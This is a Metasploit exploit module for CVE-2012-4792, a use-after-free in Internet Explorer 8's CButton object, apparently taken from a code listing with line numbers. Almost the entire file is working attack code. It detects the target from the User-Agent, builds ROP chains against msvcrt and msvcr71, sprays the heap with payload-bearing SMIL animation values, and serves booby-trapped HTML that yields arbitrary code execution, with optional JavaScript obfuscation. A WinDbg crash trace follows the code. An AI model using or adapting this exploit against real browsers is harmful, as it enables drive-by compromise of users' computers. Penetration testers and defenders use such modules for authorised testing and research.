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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "8.0", :ua_maxver=> "8.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", 'Description'=> %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers. }, 'License'=> MSF_LICENSE, 'Author' => [ 'eromang', 'mahmud ab rahman', 'juan vazquez',#Metasploit 'sinn3r',#Metasploit 'Peter Vreugdenhil'#New trigger & new exploit technique ], 'References' => [ [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'BID', '57070' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ], [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ] ], 'Payload'=> { 'BadChars' => "\x00", 'Space'=> 1024, 'DisableNops'=> true }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows Vista',{ 'Rop' => :jre} ], [ 'IE 8 on Windows Server 2003',{ 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7',{ 'Rop' => :jre} ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 27 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie8_smil(my_target, p) case my_target['Rop'] when :msvcrt case my_target.name when 'IE 8 on Windows XP SP3' align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET xchg_esp= Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET when 'IE 8 on Windows Server 2003' align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*")) xchg_esp= Rex::Text.to_unescape([0x77bcba5e].pack("V*")) end else align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*")) xchg_esp= Rex::Text.to_unescape([0x7C348B05].pack("V*")) end padding= Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4)) js_payload = Rex::Text.to_unescape(p) js = %Q| unicorn = unescape("#{padding}"); for (i=0; i < 3; i++) { unicorn += unescape("#{padding}"); } unicorn += unescape("#{js_payload}"); animvalues = unescape("#{align_esp}"); for (i=0; i < 0xDC/4; i++) { if (i == 0xDC/4-1) { animvalues += unescape("#{xchg_esp}"); } else { animvalues += unescape("#{align_esp}"); } } animvalues += unicorn; for(i = 0; i < 21; i++) { animvalues += ";cyan"; } | if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' rop_gadgets = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459# ptr to 'push esp #ret ' [msvcrt.dll] ].pack("V*") when 'IE 8 on Windows Server 2003' rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp #ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591# PUSHAD # ADD AL,0EF # RETN ].pack("V*") end else rop_gadgets = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30# ptr to 'push esp #ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop_gadgets case t['Rop'] when :msvcrt rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 else rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 end rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt return rop_payload end def load_exploit_html(my_target, cli) p= get_payload(my_target, cli) js = ie8_smil(my_target, p) html = %Q| <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); #{js} for(i =0; i < 20; i++) { document.createElement('button'); } e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld())"> <t:ANIMATECOLOR id="myanim"/> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (87c.f40): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000calldword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=???????? 0:008> k ChildEBP RetAddr 020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504 020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47 020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f 020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12 020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 020bfd78 7e418734 mshtml!GlobalWndProc+0x183 020bfda4 7e418816 USER32!InternalCallWinProc+0x28 020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 020bfe7c 01252ec9 USER32!DispatchMessageW+0xf 020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 020bffec 00000000 kernel32!BaseThreadStart+0x37 0:008> r eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000calldword ptr [eax+0DCh] ds:0023:0c0c0ce8=???????? =end |
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